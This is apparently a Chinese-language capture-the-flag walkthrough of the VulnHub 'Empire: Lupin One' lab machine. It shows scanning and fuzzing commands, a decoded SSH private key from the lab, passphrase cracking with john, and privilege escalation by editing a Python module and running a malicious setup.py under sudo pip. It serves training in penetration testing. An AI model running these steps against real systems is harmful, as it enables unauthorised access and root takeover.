环境搭建
下载地址:
#镜像地址
https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
#虚拟机下载地址
https://www.virtualbox.org/ (选择适合自己的版本下载)
PS:因为解压得到的.ova格式的虚拟镜像文件,所以使用virtualbox虚拟机比vmware虚拟机要要稳定,防止出现网络报错或者系统报错
信息收集
① 常规扫描
扫描获取靶机IP
arp-scan -l
扫描在同一网段上的存活主机,可以发现我们的靶机并确认它的MAC地址.下面我们开始渗透
扫描开放端口
nmap -sV -A 10.0.2.16
获取我们的开放端口,同时,可以看到nmap给我们扫描到了一个名为~myfile的特殊目录,访问它发现无法利用,展示搁置.:
访问80端口:
目录扫描
dirsearch -u http://10.0.2.16
获得了上述目录.
访问/manual/index.html
Apache的配置目录,泄漏了Apache的版本号,暂时记录.后续再看看能否进行利用.
访问/robots.txt
可以看到再次发现了~myfile这个目录, 那么这个站点会不会还存在以**~<目录名>**格式的其他目录呢(怀疑)
② 模糊测试
wfuzz
wfuzz 常用于目录的模糊测试,通过选择相应的密码本和规则进行测试.
#kali自带密码本
/usr/share/wfuzz/wordlist/general/common.txt
wfuzz -u 'http://10.0.2.16/~FUZZ' -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 #过滤404相应码的数据,防止冗余
成功爆出~secret目录,访问
获得了一个名为icex64的用户名.
ffuf
ffuf 常用于发现对应的文件,通过配置相应的密码本和规则模糊测试得出对应的文件名
#kali自带密码本
/usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt
ffuf -u 'http://10.0.2.16/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub,.html,.bak -mc 200
得到mysecret.txt文件.访问得到
看起来是一串经过加密后的密文.尝试解密
解密
#解密网址
https://www.dcode.fr/cipher-identifier
分析得到加密方式为: base58
进行解密
-----BEGIN OPENSSH PRIVATE KEY-----
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
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----
看起来是一串ssh私钥. 记录
③ ssh私钥爆破
在使用ssh的私钥登录服务器时,需要输入密钥解开私钥才能进行登录.上述两步操作就是通过爆破私钥获取密钥方便后续登录.. 步骤如下
1 .获得ssh私钥密文
2 .使用kali自带的ssh2john程序生成私钥的对应密码本
/usr/share/john/ssh2john.py
3 .通过john程序爆破ssh私钥的对应密码本获取ssh私钥的密码
4 .通过私钥和对应密码登录账户
2. 生成对应密码本
/usr/share/john/ssh2john.py sshkey > passwd.txt
)
生成对应密码本
3 .john程序爆破获取私钥对应密码
前文访问~secret目录时知道密码用fasttrack进行加密,所以我们用kali的fasttrack.txt进行解密
Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file,
Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.
I’m smart I know that.
Any problem let me know
Your best friend icex64
你好朋友,我很高兴你找到了我的秘密目录,我这样创建的,以与你分享我的ssh私钥文件,
它就藏在这里的某个地方,这样黑客就不会找到它,用快速通道破解我的密码。
我很聪明,我知道。
有问题尽管来找我
你最好的朋友icex6
#暴力破解密码
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
#展示破解得到的密码
john --show passwd.txt
至此,我们就得到了一个ssh私钥的对应密码.
④ ssh私钥登录
#步骤
ssh 用户名@IP地址 -i 私钥
输入密钥解开私钥
登录成功
#语句
ssh icex64@10.0.2.16 -i sshkey
⑤ 获取user用户的flag
ls
cat user.txt
得到了flag
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
⑥ 提权
sudo -l
#查看icex64用户能够以其他用户权限运行什么程序.
发现可以通过arsene用户权限运行一个Python文件(heist.py),查看这个Python文件,看看它具体写了什么
可以看到它调用了webbrower模块,并且从上文中知道这个程序通过Python3.9运行,所以我们去Python3.9的目录下看看能不能修改webbrowser模块,通过修改该模块添加一个返回shell获取arsene用户权限.
cd /usr/lib/python3.9
vi webbrowser.py
#添加这句话反弹shell
os.system("/bin/bash")
运行这个调用这个模块的文件heist.py
sudo -u arsene python3.9 /home/arsene/heist.py
#这段命令的意思是,以arsene用户权限,使用python3.9运行我们想要运行的.py文件
可以看到我们的用户从icex64变为了arsene.
查看arsene用户能以sudo权限运行什么命令
sudo -l
能运行pip,pip的提权方式就多了,上网随便找一个.
#命令
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
这段命令的含义: 在当前目录创建一个setup.py文件,写入我们要写入的代码.
pip install .
这么做的含义: 当在目录下运行pip程序时,它会优先读取当前目录下的 setup.py 文件(或 pyproject.toml 文件,如果有的话),并根据其中的配置安装该包及其依赖。这个命令通常用于开发环境中,当你正在开发一个包并希望立即安装它以进行测试时使用。我们可以通过创建或修改当前目录的setup.py文件,使pip执行我们想要执行的内容.
随机进入我们arsene用户拥有写权限的目录
cd /home/arsene
#写入我们setup.py文件
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
#运行pip程序
sudo pip install .
#交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
#获取root.txt
cd ~
cat root.txt
至此,我们就获得了两个flag
user.txt
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
root.txt
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}